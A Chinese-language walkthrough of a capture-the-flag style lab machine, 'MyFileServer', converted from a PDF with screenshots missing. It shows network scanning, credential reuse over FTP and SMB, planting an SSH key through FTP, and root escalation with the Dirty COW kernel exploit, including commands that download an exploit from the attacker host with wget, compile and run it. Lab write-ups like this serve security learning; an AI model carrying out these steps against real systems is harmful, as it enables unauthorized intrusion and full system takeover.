因为是从PDF转换过来偶尔可能会出现内容缺少,可以看原版PDF:有道云笔记
实验环境
Kali:192.168.10.102
MyFileServer:192.168.10.106
实验过程
通过arp-scan来发现靶机的IP地址
sudo arp-scan --interface eth0 192.168.10.1/24

用namp来扫描靶机的TCP端口和UDP端口开放情况
# --min-rate:发包的最小速率# -sT,-sU:采用TCP、UDP扫描
# --top-ports [number]:扫描常用的端口
sudo nmap -sT --min-rate 10000 -p- 192.168.10.106 -oA nmap_result/ports
sudo nmap -sU --top-ports 20 192.168.10.106 -oA nmap_result/udp
对扫出来的TCP端口进行做详细的扫描,对刚刚的扫描报告内容进行提取
# grep 抓取包含Open字样行的内容
# awk -F '/' :-F是分隔符,通过/来进行划分打印输出分组1的内容即端口号
# paste -sd ',':-s 表示串行合并,-d ','表示用,进行分割
grep open nmap_result/ports.nmap | awk -F '/' '{print $1}'| paste -sd ','

对这些TCP端口进行常规的漏洞扫描以及详细信息扫描

通过扫描结果可以看到ftp可以进行匿名登陆

登陆FTP搜集可用信息

ftp> binary

尝试下载发现很多文件都无法下载,下载来的cron里面也没什么有用的信息
还有一个2121端口也是ftp也登陆看看有没有有用的信息

依旧是权限不足无法下载


手动尝试下常见的文件
http://192.168.10.106/readme.txt http://192.168.10.106/robots.txt

得到密码:rootroot1,但是账号不知道

用gobuster来遍历下目录
gobuster dir -u http://192.168.10.106/ -x txt,rar,zip,tar,sql,php -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

gobuster也没扫出什么有用的信息
靶机还开放了smb服务,尝试从smb中寻找突破口
smbmap -H 192.168.10.106
可以看到其中的smbdata有可读可写的权限

根据我们之前发现的信息,尝试 账号:smbdata 密码:rootroot1 可以成功登陆
sudo smbclient //192.168.10.106/smbdata

分别下载了 messages、secure、sshd_config messages中没有什么可用信息
sshd_config中发现靶机仅仅支持证书登陆,不允许密码登陆


现在我们有2个账号2个密码
账号:smbdata、smbuser
密码:rootroot1,chauthtok
尝试smbuser:chauthtok登陆ftp发现错误
尝试ftp碰撞发现smbuser:rootroot1也可以登陆ftp

发现smbuser的ftp目录是家目录

结合之前ssh_config的配置信息,我们可以上传自己的一个证书来达到通过smbuser来登陆ssh
sudo ssh-keygen
在kali上生成一个证书

然后通过ftp将公钥证书上传上去
然后ssh通过证书登陆smbuser
# -i:证书私钥
sudo ssh -i dfz smbuser@192.168.10.106

查看下 smbuser的sudo权限
smbuser:rootroot1

找下拥有SUID的文件(PS:SUID文件是当文件运行时,会以文件拥有者的权限运行而不是当前用户的权限, 要给一个文件设置SUID可以通过 chmod u+s filename设置)
# -perm:以文件权限来查找文件
find / -perm -u=s -type f 2>/dev/null
查看下有没有定时任务

查看内核版本

通过上面的信息发现并没有什么可用的信息,但是系统的内核版本比较低可以尝试使用脏牛进行提权尝试用systemd-run打开一个shell,发现失败
# systemd-run是一个用于在systemd管理的用户空间中启动进程的工具。-t选项表示在启动的进程中分配一个tty,/bin/bash是要启动的进程。
systemd-run -t /bin/bash

完善下shell
export TERM=xterm
通过searchsploit查询可用的提权EXP
searchsploit kernel 3.10 Privilege Escalation

尝试下42887.c
searchsploit -m 42887.c
缺少rootshell.h,换个exp尝试

尝试下15962.c

尝试33516.c,发现可以成功生成

通过php开启临时http服务,然后靶机用wget下载,但是运行报错

这里尝试使用linpeas.sh(https://github.com/carlospolop/PEASS- ng/releases/latest/download/linpeas.sh)来给我们提权提供建议
同样的方式下载到靶机

因为输出的内容过多,我们通过more命令来进行逐页查看
./linpeas.sh | more

根据信息可以看出CVE-2016-5195和CVE-2016-5195可能性最高,我们就尝试这2个EXP CVE-2016-5195失败

CVE-2016-5195失败

到网上查询了别人是用40616成功提权的
searchsploit dirty cow

然后还是在Kali中编译好上传到靶机

但是在靶机上运行还是有问题

后来才明白要在靶机上进行编译然后运行才能提权成功(算踩了一次坑吧)
wget http://192.168.10.102:8081/40616.c gcc 40616.c -o 40616 -pthread
chmod +x 40616
./40616





















